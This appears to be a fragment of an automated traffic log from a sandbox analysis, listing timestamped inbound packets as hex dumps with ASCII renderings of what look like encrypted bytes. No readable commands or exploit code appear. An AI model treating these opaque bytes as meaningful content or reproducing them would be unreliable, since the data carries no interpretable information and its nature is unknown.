2021-09-27 18:33:23 UTC	606	IN	Data Raw: 38 c2 46 5c cd f8 2c 29 66 d6 e7 75 31 5d 46 ea 61 d2 0f b8 cc aa 12 cb c3 21 67 75 86 f7 5c 60 6b 0b 64 df 09 a3 fe 3e a9 32 df a0 10 bb f0 a4 ad 11 94 c7 df 40 14 67 06 67 d3 76 08 8f f7 7f 45 f6 e0 1b 76 0d 07 3e bd 33 d5 af 02 34 bd e5 99 88 b6 99 f9 3f 28 1d 74 80 a8 b9 3a 52 64 59 ef 70 b7 97 54 cb 37 24 fd 58 71 a8 a7 ee ab 1e 32 9e bb 49 67 cc 8b 6b 1b d7 a8 62 b2 9d 50 72 2c 4b 93 42 20 0b 8e fa e1 8b 69 bf 28 8f 7e cb 8e e5 20 fd c7 79 9d 81 66 50 6f ba 6b 17 10 11 28 3c ba 79 9a d7 bf ec 82 43 09 60 1e e6 d0 56 c4 f3 6b 04 d9 b2 91 51 e2 b3 d4 24 2e 2a de 21 64 5b c9 d8 84 b7 1d c5 b9 e5 57 e9 11 37 2c 1d 8c fb 5d da 2e 68 a8 b9 3a 51 e6 01 bd f9 73 a8 11 c7 cf 7c 69 99 fb b6 24 40 ab a8 4b 14 1a ea 14 94 76 14 cb 32 d4 2b 46 81 87 81 37 62 5d Data Ascii: 8F\,)fu1]Fa!gu\`kd>2@ggvEv>34?(t:RdYpT7$Xq2IgkbPr,KB i(~ yfPok(<yC`VkQ$.*!d[W7,].h:Qs\|i$@Kv2+F7b]
2021-09-27 18:33:23 UTC	608	IN	Data Raw: fc 12 e5 28 3f 33 21 6a 2c 61 9b c4 6d 2b cd d5 c6 c1 5f 9d b0 0c 05 b2 21 7f 85 b4 75 aa ab 1b 76 a8 95 90 c3 25 8b 7d 9a c7 db c6 7e 8e f9 d0 ad 65 eb 94 48 93 5c 96 2c c4 72 36 b3 c5 ae 07 b7 9c 6d b3 a9 85 65 be 8c 2d 7c f7 dd 5a 71 bb ea 05 6a 0a 96 d1 6f 04 2d 33 d3 73 9d 41 8c fe cc fd a4 b0 92 cd db c5 ab d4 38 73 86 16 7a 48 92 1c a6 4f 68 2a d2 89 89 60 58 6c 33 f6 ab 92 da f2 e8 03 1a 6c 3e 1b 97 47 0b 8e f5 df 80 cf c4 fc 42 87 0f 84 7c 2d 58 d5 5e 5c 53 e0 1c 3e 86 42 97 e7 25 69 d3 b8 b3 3d c2 c8 4c 89 cc a2 b7 1c fa f4 96 97 f9 7e 6e 6d ae 50 39 ce 82 43 03 13 9a d8 8c 00 38 bb fc ca e7 ac 45 1a 3f 72 ca c0 79 90 16 fc cb da 27 59 2d 0c 91 5d 05 32 d1 6a ac 94 b8 9d 8c bf 0b 52 8c fa e2 1a f9 d4 63 17 99 e1 36 a1 53 19 c1 b4 63 51 fa e8 cb Data Ascii: (?3!j,am+_!uv%}~eH\,r6me-\|Zqjo-3sA8szHOh*`Xl3l>GB\|-X^\S>B%i=L~nmP9C8E?ry'Y-]2jRc6ScQ
2021-09-27 18:33:23 UTC	609	IN	Data Raw: d4 ca 00 69 a5 2d f1 d6 62 f0 5a 3a b3 c3 e6 5b 82 a4 df b1 07 bc 65 d6 b7 0a 6d e1 2c 64 41 63 63 76 8f 3e b7 bf 98 a5 3a a9 21 6d ea 17 f3 05 0d db 41 3a 8a 90 7d b2 43 f7 5a be ce 0d eb 96 6b 55 b1 e1 58 19 62 2c 7c be f7 6d f2 39 33 22 22 ce a5 e0 ea 5d 35 8c e9 92 84 f3 c7 ca 01 19 cf 8d 6e f5 ad 64 58 77 8a d3 82 eb e4 50 6b b4 39 8c 8d 63 dd ad 3f 0a c5 af 51 f4 ff ee 6f c9 d4 3c a9 9e 2b 46 ee 5f 64 6c 22 2a 03 ae 9b 51 e0 db ce 3a b6 c4 71 cc 6e 53 f1 2c c2 a5 71 dc 26 5e 08 4f f7 65 9c c5 9b 74 42 97 19 7e bd af 61 cd 0c 45 7f 83 63 94 c3 80 25 1e ff 09 bf 2c 9b 27 58 d5 fb 2e d7 b5 4e 68 54 5e 35 22 b5 1f dd fc b1 11 25 3d 54 7f 97 14 02 5c 78 6f a4 e5 9c 08 69 cd d7 74 62 2d 46 80 51 ed 02 11 e5 89 2b 55 25 2f 27 47 b2 10 09 66 bc 76 44 5a 0f Data Ascii: i-bZ:[em,dAccv>:!mA:}CZkUXb,\|m93""]5ndXwPk9c?Qo<+F_dl"*Q:qnS,q&^OetB~aEc%,'X.NhT^5"%=T\xoitb-FQ+U%/'GfvDZ
2021-09-27 18:33:23 UTC	610	IN	Data Raw: fc f5 56 a5 93 06 c1 f9 70 c6 98 f2 e1 90 8c ff 41 0d 8b ac 5c 0f 9a d4 3e ec 12 3d bc be 31 47 0e 1a f3 9d 1e df bf fc b7 90 9a d0 47 1b 6e 0b 2d fc 9d 4f f8 eb b8 45 de ee ac 99 5c 4a 60 79 a8 a2 b0 ed df f7 77 96 d1 c1 d9 7e c5 ba 68 2e db 8f f6 93 a3 20 ee f1 66 63 0a 99 12 09 a5 2f a9 49 27 42 8a 58 2e c3 23 b9 58 7b 85 6f d1 61 17 4a c2 6f bc 77 b9 c4 45 8e 8f ee 8a ee 3e d1 1e 47 62 98 78 67 41 26 67 b2 54 5e f5 a6 ec 08 2d 49 65 d5 7a a2 f1 69 bc 63 4c 39 60 51 fe d2 f5 01 79 bc b1 6c 81 26 ae 5c 24 95 2f 58 ad 6f 6f 68 51 35 f0 94 67 58 0d 69 8a 5a e1 ee c0 c5 8d 97 2b 50 bf 90 2c 1a 93 a5 01 01 da d0 f1 eb 8b 59 e7 82 f9 c3 ae 80 11 2d d0 2f fb cb 8a f5 4d 23 a0 52 44 37 fb e0 47 1d 65 d7 93 7f 65 d3 96 dd aa bc da 02 86 3c e6 17 80 0f bd 0a 58 Data Ascii: VpA\>=1GGn-OE\J`yw~h. fc/I'BX.#X{oaJowE>GbxgA&gT^-IezicL9`Qyl&\$/XoohQ5gXiZ+P,Y-/M#RD7Gee<X
2021-09-27 18:33:23 UTC	612	IN	Data Raw: cd 7d 3a 21 b7 01 b5 36 76 99 b9 49 14 1b 5e ba fb 63 d1 c0 25 71 16 bc e5 98 cc 4f d0 61 3c 2f 66 5a 73 1b e4 33 80 99 65 cf dd b6 84 be 66 68 a8 62 76 0d 8a f0 f8 f2 e4 15 6f 2b 7b 99 5b 14 a4 b1 d6 8e dd a4 a3 26 6f 11 1c fb 55 e7 a4 64 22 e4 df 10 36 a7 3f 35 37 fd 7a 3c ad 08 72 3c 96 ff 7d 67 36 a3 29 40 67 6f a2 8b 51 c3 d8 ed 22 4a 4b d5 19 ef 04 ae eb 34 3a fd 45 ce d7 8c 2f bd 35 5b db 96 60 87 ec 1a f0 f2 4e 8b 32 df 11 32 cf e8 1c e1 9c 88 e0 8d db b6 b5 17 90 d2 40 a2 a9 41 b8 59 c3 4b b6 4c d4 19 71 b8 52 57 42 58 76 29 40 a0 b9 fe df a5 d4 3d ca 47 0c db 1c f7 4b 11 86 2b 4d 11 9a cd 7b 06 31 87 c0 70 12 0e 0f b0 a0 27 ec 17 90 6c 5e 47 e0 e0 ea 2f fe 2f 74 92 85 62 18 ba 61 de 28 e2 f1 88 42 85 7a 46 a4 ea 07 ef 73 88 0b e1 e3 8a ec c6 ea Data Ascii: }:!6vI^c%qOa</fZs3efhbvo+{[&oUd"6?57z<r<}g6)@goQ"JK4:E/5[`N22@AYKLqRWBXv)@=GK+M{1p'l^G//tba(BzFs
2021-09-27 18:33:23 UTC	613	IN	Data Raw: 2b 54 7a 18 14 8a 20 29 53 f9 69 50 ff 99 49 06 e7 2d 41 c3 fd 59 e4 16 3c 9f 96 99 23 fb b0 a6 42 19 fb 3a c5 60 69 0e e7 3a 5f fe c9 d5 b5 3a 14 38 b0 ad a3 d7 a6 19 21 74 32 d0 f3 21 7a ac 80 1b be 43 03 a3 23 44 f2 5f 9d 58 6b b4 99 79 55 26 3b 2f 48 8e 82 a5 13 25 0c f3 10 13 db b6 12 66 ab 4d 10 4d 0b ac 5d 60 45 2e 01 0d 70 2f 5f c3 0d da 19 79 93 27 cb 87 6d bf ee ff 67 0c a3 cf d8 23 76 38 80 c7 10 ed 79 9a d6 c1 c2 47 17 82 c5 a9 23 27 4d 54 6d 03 0b 6b b9 e1 91 66 7a e9 08 1d 7f 82 41 12 59 eb 4a 3a 5c 59 f2 e5 bd da c6 95 7d 9c d3 0f 2e 3d 24 e0 03 92 26 67 e2 05 bf 73 9c c7 d4 2e 8d 62 1b 6c 0f 16 b7 7d 79 97 47 0a db e8 62 5c 5e 49 83 e1 2c 79 fd 61 62 87 8a e7 8a e0 22 03 fa c5 f1 76 ad ab 62 ba 7a 1d 71 61 7e 16 39 db 8d 5c 4e 72 76 09 11 Data Ascii: +Tz )SiPI-AY<#B:`i:_:8!t2!zC#D_XkyU&;/H%fMM]`E.p/_y'mg#v8yG#'MTmkfzAYJ:\Y}.=$&gs.bl}yGb\^I,yab"vbzqa~9\Nrv
2021-09-27 18:33:23 UTC	614	IN	Data Raw: 20 d6 90 91 56 61 d5 9f 10 d0 83 97 55 ec 14 f5 e4 a4 ac 94 10 aa 62 5e 4b 06 06 c1 b6 a7 33 28 1e 5f e0 51 fd e4 b5 5e 7a da 41 ba 55 5e eb 7c 0c 1f 66 6e c8 24 da 30 c4 27 5e e5 b5 ab 24 56 a1 df af 1e f6 ca b3 2b 9c 01 30 e8 b8 c4 9a c4 60 5a 48 75 aa 98 d1 c1 ac 9e 03 c3 68 07 1c 44 7f 86 fc df 80 fc d5 9d 5f cb 6d 1f 60 16 05 11 53 b1 00 2a c5 df 61 6a c1 f7 6a 2e f3 8c 0c 25 65 cd 8c e6 a0 06 60 42 84 fd 60 e0 d5 41 1b 70 29 6b 41 81 b8 72 27 30 68 1c 40 13 ae 86 e7 84 d8 f7 a4 45 12 03 a2 87 ef b0 b2 8c e8 09 f3 75 91 4c 2a 1d 45 15 84 e0 4c 97 59 f1 c0 a5 19 75 a4 a1 82 b6 b3 1a e4 14 f5 e4 3c a6 a9 ef 03 be 25 70 11 51 35 c0 74 2e de 1d 89 c1 d1 c7 d1 83 70 9c eb 47 32 7d 37 da 3f 23 67 ee 1d 23 5e 46 80 b0 27 44 28 7b eb be c2 da c5 f4 e5 98 e4 Data Ascii: VaUb^K3(_Q^zAU^\|fn$0'^$V+0`ZHuhD_m`Sajj.%e`B`Ap)kAr'0h@EuLELYu<%pQ5t.pG2}7?#g#^F'D({
2021-09-27 18:33:23 UTC	616	IN	Data Raw: 69 c4 ea 2c d3 f9 73 0d e6 b4 ad 19 56 68 ad 61 72 70 3d 74 21 f0 86 55 da 39 66 51 5d b7 95 11 94 95 41 27 96 12 95 6a bb 43 5e 5d d8 3b c0 72 e6 0e 0a 65 c7 9c d1 0d 2c 80 16 14 1a de 07 44 b6 47 0c 11 c4 7c cd f1 95 7e c9 61 9f 3a be 61 ee 07 38 9d 4d 1d ba cc 1f 7f 99 5a 44 b5 eb 74 ce 48 81 31 f0 bf fc cd cd 8b 6c 33 3b 3d 1b 80 5b 6a 34 bf b6 88 a3 28 6c fc 8d 68 34 b9 dd 9d ab 03 76 00 3a 67 6e 85 3f 21 a0 39 bb c7 6a 83 3a ab 1d 68 1e 0e 5a 5a 7e 1a b5 0c d8 41 fb 72 e9 3b 75 a5 3b 3a 80 ee b9 db a0 a8 14 b3 5e 5f d4 3f 12 2b ae 14 e0 0e 08 68 35 ff 27 ae bb 36 0a 7b 97 58 70 02 dd dd 80 0d 8b da 94 83 78 18 03 83 5a 9d 04 da 3c b9 3a 1e b0 98 df a3 79 83 6c 36 af 2d a5 28 6c 31 40 f4 fe 83 62 8e 26 9b 5d d7 a1 0f aa 59 6c 8d 6c 33 8e 4b b0 db bb Data Ascii: i,sVharp=t!U9fQ]A'jC^];re,DG\|~a:a8MZDtH1l3;=[j4(lh4v:gn?!9j:hZZ~Ar;u;:^_?+h5'6{XpxZ<:yl6-(l1@b&]Yll3K
2021-09-27 18:33:23 UTC	617	IN	Data Raw: 61 cf d6 72 20 5e eb 25 4c 49 c7 2e ce 5b cd e3 70 55 89 73 b1 42 9e 0c 70 d7 91 e4 83 99 5d d6 27 6b 50 03 dd a9 23 db 3e c8 79 b7 24 55 04 02 95 1f 54 dd 7c 82 39 b3 f1 82 98 e9 3f d5 09 40 b6 ad a8 f8 ed bb 40 a8 b2 9c d3 87 09 a7 6d bb cd 06 6d 5c ed 3d 32 cb 7a d1 79 81 ae 5f 64 5f c6 4a 9f f9 aa 56 77 9f 2a e9 dd ad 33 fd ee 04 28 cd db 91 4c 1c 76 85 35 70 9a b8 77 2f 47 48 87 6e 8a fe fb 92 a1 3b 3c 3b 9a b9 e9 49 c2 93 62 ff e2 1e f0 f3 7b 57 2c 47 18 0c 0d a9 0b 83 9c 07 a9 20 ca 51 68 f6 48 d4 1f ab 60 4a 40 1f 80 86 f7 d4 1a 88 df 80 3b 2e 68 f5 c3 af 17 33 43 1d b1 10 d3 81 b9 c3 f6 47 cb af f0 82 af 49 17 36 a1 fb 7a 19 5e 4b ab d6 5b c5 24 fc 6a 15 8f 4e 77 30 73 01 e5 94 d4 3c 9b 69 75 5f f0 51 29 be 49 68 71 f6 25 97 9a 02 51 dd 17 61 6e Data Ascii: ar ^%LI.[pUsBp]'kP#>y$UT\|9?@@mm\=2zy_d_JVw*3(Lv5pw/GHn;<;Ib{W,G QhH`J@;.h3CGI6z^K[$jNw0s<iu_Q)Ihq%Qan
2021-09-27 18:33:23 UTC	618	IN	Data Raw: aa 88 36 f1 76 5f c4 36 b2 b3 20 05 65 3e a9 37 fc 71 aa 68 a3 72 5d 11 5b 9f 01 87 6b 7e c7 f3 64 49 09 68 41 55 d4 04 84 4b 3e b2 90 d3 42 5f c4 73 b5 b3 9c cf 7b 31 0d b7 39 06 c3 cc 5d db aa 1c 63 c0 a5 8f 39 3c 9a f3 ed bc ba c8 4f e9 96 c0 67 c8 6d 7a ed 4e ec 7c 10 3b 7e 3b 00 13 67 be 91 4c 92 11 3e b7 bb 6b ee dd f7 01 02 f6 3a 8d 42 76 07 c5 ec 0e ac 2f 86 f5 7b 92 9d c7 83 74 f2 8c 4b 3f 08 e0 61 31 8e 8c 06 9a ab 0b b9 35 44 bd ce 89 2e 2b fa 9c 10 79 97 4e 7d 6d b5 f6 fb 4f 32 5e 78 6d 16 42 93 67 77 58 87 50 b1 3f ae a8 8e c0 54 46 b9 c2 58 4a a0 bb 51 35 9e ec 06 39 33 0e 2e e6 d8 cd e9 20 43 8b 02 51 7b 0d a2 71 52 c0 a5 25 d0 82 a8 ac 9f 33 81 21 30 c9 18 8b 50 5b c2 6b ac c0 6e 0f 6f 3a 5e 5c 52 ba da 2d 6f 0b d8 e4 01 51 ce 42 bc 29 a8 Data Ascii: 6v_6 e>7qhr][k~dIhAUK>B_s{19]c9<OgmzN\|;~;gL>k:Bv/{tK?a15D.+yN}mO2^xmBgwXP?TFXJQ593. CQ{qR%3!0P[kno:^\R-oQB)
2021-09-27 18:33:23 UTC	620	IN	Data Raw: 1b 65 6d 7e 1e f0 e4 17 9f 7b 96 60 6f b7 55 e6 35 12 29 ad 6a cb c1 f7 db 07 ae a6 9a f6 7c b9 57 5a 63 5e fe 65 5a 68 56 55 5c bd 47 cb d2 8e cf db 63 62 09 95 e9 f9 6c ff ac 8c a7 39 41 0c 10 02 27 12 1e b5 14 29 e7 e9 90 e2 24 00 39 c8 57 fa 5d 4b 05 82 9f af 81 a9 e7 79 21 9a bb ff 45 06 6e 96 c4 7f 84 4a 43 8e 0f 86 fd 16 00 1a 52 c3 4c 68 20 ec 15 78 9d 34 b1 18 b8 d1 c6 0b 09 b1 10 11 64 61 ee e5 86 3b 8e e1 b9 38 78 8e 1c fb 4f cc a7 3f c2 67 c2 d8 10 d8 0e e1 2b 19 7c 0f d3 25 7a 00 2d f8 2f df 51 fc df 81 33 89 b3 35 cc 41 61 c7 db 69 94 69 94 2f de 59 f6 e8 cf 7d 98 02 5d 64 73 f2 3c a2 be 74 02 cf f3 16 15 99 f6 46 e3 5c b7 30 50 57 5b 3a 63 2a c3 eb 86 ea 27 61 a9 d3 e9 95 57 e2 1f a4 67 c6 53 e3 87 59 dc e6 c2 9f 3a a7 2d b4 fe b2 90 dd e1 Data Ascii: em~{`oU5)j\|WZc^eZhVU\Gcbl9A')$9W]Ky!EnJCRLh x4da;8xO?g+\|%z-/Q35Aaii/Y}]ds<tF\0PW[:c*'aWgSY:-
2021-09-27 18:33:23 UTC	621	IN	Data Raw: 76 37 97 9f ea a5 f0 a4 87 5d 63 2d 28 cb fb aa 6d 23 2f 27 66 53 9b 9d 1f 1c 95 e0 1f a1 fd ae 48 b2 3e d9 96 e5 c0 a9 39 22 13 15 74 58 bc 74 e5 41 b2 5b c8 55 24 78 76 0f 68 31 40 9e 96 26 25 ad 37 f5 49 49 3d d7 4b 33 25 82 b7 f5 90 eb f4 07 d6 77 cf 8b 68 7e f3 f9 85 4c 2f 4a 49 b3 ca b8 9b 97 9a a6 0c 8c 70 9b 3f f0 09 35 35 ba 88 09 0b f8 12 ef c6 7d f1 98 23 0f 21 21 a9 72 8f ae 34 88 6f 02 cf 88 18 d5 fa 1e cd 2e 08 1d cb f1 09 a7 c1 cb 24 cb fe bf f6 bf 8a 24 63 88 36 15 21 7e d3 7b 08 51 c2 1b 86 24 a8 a1 5b 30 6b 66 3a bc 17 e7 f6 d2 64 5b b4 0d 39 50 c5 cd fa 55 b7 d9 c4 9d 97 4c 28 a5 18 85 a9 b8 da 68 bb 5c 37 c0 3d 58 fb 7d 39 76 a7 09 8b a9 ba d6 a6 6b ed 57 72 8c 31 f5 6b 89 f8 92 b7 e5 34 4c 34 38 62 04 64 e7 f3 17 b2 c4 11 0f 76 db b2 Data Ascii: v7]c-(m#/'fSH>9"tXtA[U$xvh1@&%7II=K3%wh~L/JIp?55}#!!r4o.$$c6!~{Q$[0kf:d[9PUL(h\7=X}9vkWr1k4L48bdv
2021-09-27 18:33:23 UTC	622	IN	Data Raw: ab 50 29 47 5b d9 94 fa 07 1a 53 fe c7 61 28 10 bf ce f0 fa a3 1e cb 28 fc a9 2e cb 11 24 d8 25 77 8f 5f ed b2 2e 26 14 a0 ba 76 d2 e3 8c 22 40 eb f2 d8 13 60 13 f3 6f bd 4d 9d 4a 4d 9d 1f 1c 76 72 9f f6 52 7d ad 25 4e 9a 11 e0 10 04 f9 fe c3 0e 1f 0e 06 3a 1b 15 99 a2 c3 c1 ea 13 fd 7d 91 ec 22 fa eb 43 21 61 18 6c 20 ec 9a e0 2e a5 b9 c1 29 ad 3a 03 24 cb 15 71 9e 76 40 a3 ff be 2a d5 dd 30 f8 c5 7f ac 28 95 5b 8d 7d ca 54 63 c4 66 12 1f 7e 16 07 ec 00 0f 00 24 f4 fa f0 e9 1a 8d 77 94 c4 6e 3d df 7b f2 eb 93 e4 88 ed b1 1e 3b 8e be 56 ad 18 c6 3c b1 a0 bc 25 71 94 f3 3e ab 39 cb 00 28 c6 43 a5 81 88 86 fb 5d d2 d5 e2 75 13 97 0b 9f 8a f3 7d 3b 11 90 e2 22 cc 6d 5e e8 3e a9 2f fd 3b 38 e1 87 7e 0b 9c c5 e4 43 08 27 4e 7c 20 aa bc 51 59 f9 76 0e 09 af d9 Data Ascii: P)G[Sa((.$%w_.&v"@`oMJMvrR}%N:}"C!al .):$qv@*0([}Tcf~$wn={;V<%q>9(C]u};"m^>/;8~C'N\| QYv
2021-09-27 18:33:23 UTC	624	IN	Data Raw: 89 70 20 75 5b f6 05 cc b6 13 ef ae 8d b7 28 15 77 56 8e 30 da 2f 49 24 d7 90 a5 85 28 54 6f a4 a5 07 6e 5f d2 8a 24 d6 34 ab 08 e4 af 21 61 d5 a9 1d 8d 9d 26 d1 c1 5e 1e fa 51 41 0d 86 fc d1 7c 52 6e 1c d2 b8 0c 1c e0 09 18 9d 5f 35 8a a4 b1 01 01 70 81 8f 7f 84 4a 0c 18 10 a3 37 3f bf 9d 4e 7d 81 93 46 64 54 c3 31 44 95 5b db fd 99 2e b2 8d 4e 94 b7 32 d5 ae 17 33 d2 45 1e f7 2d 5f 91 8e fa fe d7 07 62 65 c4 60 5a 4a b5 39 08 dc be 6c 3b 31 f4 46 a6 1b b0 67 c7 d1 c6 ee 5e 0c 7f a1 f4 7b ce 5e 59 e5 90 9c de ef d8 64 58 65 c6 5f 83 62 86 52 32 d0 55 e7 84 b2 88 3c f8 5e 48 d8 14 bb 93 44 e7 4d 74 3b e7 67 dd f9 ac 58 56 72 de 6b 9f 1f 11 33 00 f4 01 8a 31 81 f3 71 f3 a6 b3 1c f6 28 1e d1 c4 72 37 09 99 d2 4f fe ca 58 9a 49 7a 0b 8e 51 60 42 52 f4 10 11 Data Ascii: p u[(wV0/I$(Ton_$4!a&^QA\|Rn_5pJ7?N}FdT1D[.N23E-_be`ZJ9l;1Fg^{^YdXe_bR2U<^HDMt;gXVrk31q(r7OXIzQ`BR
2021-09-27 18:33:23 UTC	625	IN	Data Raw: 49 06 3b 90 6c d5 80 c2 d4 2f 83 b1 a0 af 05 bd dc ea bf 40 a8 b0 84 c6 63 f5 4e 9c 5d d1 d0 47 bf 43 1f ab be 91 48 83 7c 07 6f 94 0e 24 53 8c 1d 59 11 8f 8e f2 e7 3a 6a a7 0c d8 17 53 dc 0d 62 c1 dc 3f 35 86 6a 24 51 62 15 88 41 73 2a fa cb 24 8d 60 4b 10 df 0f 95 ae 77 94 c4 61 34 12 30 c9 c1 4a 86 f7 64 41 7f a8 b8 ce f2 6c 32 c2 7b 93 c5 51 98 cc 53 65 0b e6 1b cf b7 8c d4 0d b3 f4 f9 69 b2 8e 28 a1 23 ca 45 41 db 69 ec 1c fb 4b 85 16 1a 48 af 0f d6 36 87 5e 96 bd 22 c7 e5 6c 37 57 eb 8c 51 59 d5 70 8f 2a dc 44 6e ca 9a d0 50 69 ca 56 a5 02 a5 9d ff c5 f4 f0 f9 5a 5b d2 e9 a3 fc a3 8e 51 74 62 4f fd 5a 94 37 2b 4a 9d f4 26 86 fe d3 b0 24 55 60 06 35 7f 9f 69 bd 4f 68 3c 82 3e 9d b9 d9 bb f7 65 70 0a f1 24 f6 d7 8c 22 9e 6e d6 03 b9 fe c7 61 ac 4a b0 Data Ascii: I;l/@cN]GCH\|o$SY:jSb?5j$QbAs$`Kwa40JdAl2{QSei(#EAiKH6^"l7WQYpDnPiVZ[QtbOZ7+J&$U`5iOh<>ep$"naJ
2021-09-27 18:33:23 UTC	626	IN	Data Raw: 66 03 f6 e6 af 61 5d e4 a4 1e f4 e9 88 f1 45 da 93 af 07 b8 6f 89 b8 06 d4 01 9d a4 9b 38 b3 1c 3f bf f6 58 de 2e da 76 2a 65 07 49 0f 8a e3 a2 07 96 31 78 fa a6 51 f9 70 91 cc 57 2c 41 1b b2 da 2c d2 49 cc 22 09 9a fc 31 a6 56 77 96 19 d2 5d 8d a6 b0 93 5e 7e f1 f2 d5 a9 3d 9b e9 96 6d 20 32 c0 68 2e da 77 9c 85 7a 3f d7 eb bf f9 76 d2 ee fe 6e 82 00 28 cb 51 fe c8 59 f2 d4 0d 5e b0 a8 3f 53 b5 a1 c6 32 0c a8 3c 24 dd 17 63 02 d0 46 95 56 64 77 b1 34 c3 4a cf d5 a0 b9 fd 75 6a fd 4e 6c 26 cd e0 26 1a 3e 51 e0 09 b0 6a 9c 96 d4 39 f8 bd f8 ac 9c 7e c1 06 3f 23 67 ec 23 8a 29 16 14 18 c0 ff 33 34 b1 04 0f 23 d4 d5 b1 1b 7d ac e0 8b 4e 57 50 c3 fa f5 6d b2 66 db 8d 77 8a 25 ce 15 3d b4 de 99 fa c6 44 58 cb da 29 52 7b ac 77 7b df b0 92 13 20 e1 e8 b9 f5 68 Data Ascii: fa]Eo8?X.v*eI1xQpW,A,I"1Vw]^~=m 2h.wz?vn(QY^?S2<$cFVdw4JujNl&&>Qj9~?#g#)34#}NWPmfw%=DX)R{w{ h
2021-09-27 18:33:23 UTC	628	IN	Data Raw: 74 2c c1 f8 72 04 06 ef 92 f5 fe c8 69 78 df 00 85 2f 3c 8c 5f 22 5a 85 40 ae 80 11 bd da 40 39 72 3c b6 95 41 30 04 f0 0f 99 5f c3 de 5b 2b 60 9f 86 14 1b 7b 9f c3 72 04 28 ce 8e ae 9c 08 e8 f6 f8 f5 7f a7 ea 79 7e 28 a3 a3 0e b2 e0 e0 3f 27 7f 9a 5c 2c 30 a4 af 2f 5e c2 1b 86 4d 04 51 e6 b9 93 a2 07 ab 7f 84 d1 43 d9 a4 56 cd e1 99 45 da 8d 72 95 ef 97 5a 77 9a e9 cf ca 15 aa f5 38 88 18 f4 79 8a e2 d2 ec 1f 50 80 f0 a8 af 1a 35 9a db 61 7f 99 81 72 27 5c 5f 1f a1 cb c3 f5 7f a7 6d b9 a5 6d e2 49 36 40 0b 02 3f 27 ed d0 4e 5d 22 73 ff 4c 94 6a a6 b9 4f 69 bd 3a 75 b2 8f 62 8e 21 8a f9 75 b4 b6 d0 46 de 60 19 2f 63 28 5a cb d1 d4 f5 f1 7e 27 bc ab 55 f3 60 9d df b1 a8 0b 82 cf 7a 01 a7 39 f6 22 01 bb eb 86 d5 ec 14 4f bc 27 1e db 40 e0 8b 7a 05 65 68 35 Data Ascii: t,rix/<_"Z@@9r<A0_[+`{r(y~(?'\,0/^MQCVErZw8yP5ar'\_mmI6@?'N]"sLjOi:ub!uF`/c(Z~'U`z9"O'@zeh5
2021-09-27 18:33:23 UTC	629	IN	Data Raw: 6e 25 a8 0f 92 8e f3 93 2e b4 94 d5 09 05 be 5e eb b9 70 01 5c 12 97 5f c4 a9 8c ff 13 08 3b 20 f9 9c 3d 4b 1b 72 91 cb d0 78 a6 1c e6 0f 97 58 5e b0 26 7e 03 b7 b0 23 77 88 f1 77 b7 f4 e3 69 ab 0a 77 91 9a 07 ea 09 b7 03 92 68 5d 36 80 f9 10 0b 93 50 bf 2a 09 9b f5 44 7a 53 f4 ce b6 23 6c 26 cf 0f e0 bd d3 0e ae 77 ce 4f d2 bf 38 ac 9c c1 5d 43 65 be 52 76 56 67 f9 da 13 66 83 38 4f a5 6e 73 c3 a0 a0 2e cb c1 f7 67 fc 68 74 00 d5 98 20 78 2e d5 ab 33 16 2f bc 84 f1 6e 24 2f e7 95 d0 4f f3 63 cf f5 4c a9 e7 72 02 ab 30 d2 62 ed 44 25 84 30 30 bb f7 7a 18 38 8d e6 4a 91 9a b1 e1 bc 4e 12 e7 76 7b 79 81 95 ef e6 1b cb 44 cd d7 94 f0 3e 4e 4e df 6f 19 da 3c b8 6f 8a 26 f1 8d 59 0f f2 0a 3d 26 17 2e c3 cd 3a ab d8 5b ce fb 96 3b 2e c8 44 dd be 69 a8 b5 38 50 Data Ascii: n%.^p\_; =KrxX^&~#wwiwh]6P*DzS#l&wO8]CeRvVgf8Ons.ght x.3/n$/OcLr0bD%00z8JNv{yD>NNo<o&Y=&.:[;.Di8P
2021-09-27 18:33:23 UTC	630	IN	Data Raw: 9a a2 58 d9 90 21 07 8a fa 72 b9 84 65 a9 89 dd 31 41 d9 a5 98 e9 93 9e 93 61 96 06 9a f0 4c e9 8e 2a 60 54 c6 77 83 cb 86 e7 0e 3d df 67 8b 9f a5 40 b5 17 90 dd a6 6c 2a 1d 90 31 e4 5b 30 53 6a 35 f3 64 14 fe d2 a7 ec 47 1c fb bc 7b 49 92 06 38 a3 21 ac d6 c9 6b 39 4b 84 bf 23 42 56 53 0f 07 02 38 79 ad fb 9a 5c b2 22 b6 29 99 04 d9 1f c3 fc 1f dc 2e 7c 9a 8d f5 6c 96 62 f0 f6 e2 eb 9b d5 19 a9 3f 23 70 9d 6a c7 64 8a f0 7f cf 06 0c db 5b 41 84 fe 65 05 47 bb 3c 5a af 8e 12 9d 1d e3 2e e7 8a a7 d8 27 c2 a2 8e e4 a0 82 e8 a5 b0 99 45 8a ef cc ea a5 3f 32 cb 1f 16 f6 5a df a3 ba 32 7c 2d fc f1 8e 27 1e 0a 8d f1 69 0b 63 35 93 1b 88 40 62 5f 9b dd b8 8a 51 4d ee 3e d5 51 55 7c 13 96 4a 85 c4 fe 42 88 e2 0a 96 e1 60 93 88 f6 6e 70 e6 35 89 ce b8 c0 1f 79 0a Data Ascii: X!re1AaL`Tw=g@l1[0Sj5dG{I8!k9K#BVS8y\").\|lb?#pjd[AeG<Z.'E?2Z2\|-'ic5@b_QM>QU\|JB`np5y
2021-09-27 18:33:23 UTC	632	IN	Data Raw: 37 f0 00 03 85 92 a6 a1 39 31 81 c1 f9 d0 06 32 6f 45 00 4e db ea 1f 0e c7 82 19 9d 6a 22 e8 19 88 0c 3d 08 14 a1 02 00 67 88 1e 8f 52 32 ae 9b 6d 77 6d 0c e5 f6 5b e0 1f dc 5f d7 9d 66 f2 ba 62 76 a2 e1 89 09 0c 87 0a bb 8c 87 1a 97 e2 64 d4 42 fd 2f 24 4c ea ae fe 6c 8d e6 87 1b d1 74 e1 57 c7 74 48 2d 63 e2 3e 8a 47 62 d0 7d a6 82 34 18 70 b1 31 64 67 ee 6e 47 ee ce 63 f5 59 4e 1c 16 2a 85 3c ec 99 3e 4d 55 bf bd a0 25 1d 9e e3 db f1 2c 7d e1 79 d0 04 7f ce e6 6f 53 aa e8 5d 98 63 b0 6e 53 9a ac e3 31 29 bd 9c ae fe a0 2f 21 79 eb fc ac f5 dc 2c 8e b3 fd 58 d4 5a 61 d6 eb 98 de b9 03 b9 fd 83 45 1d e7 39 23 6a a4 a7 2d 49 d3 9c db ae 20 0c 02 a8 47 13 2e 3e be 73 0b 8e 6e 12 11 33 f7 59 f9 70 bf df ae 94 d3 62 70 2e d4 89 97 5a f0 1c ff 55 18 13 69 bf Data Ascii: 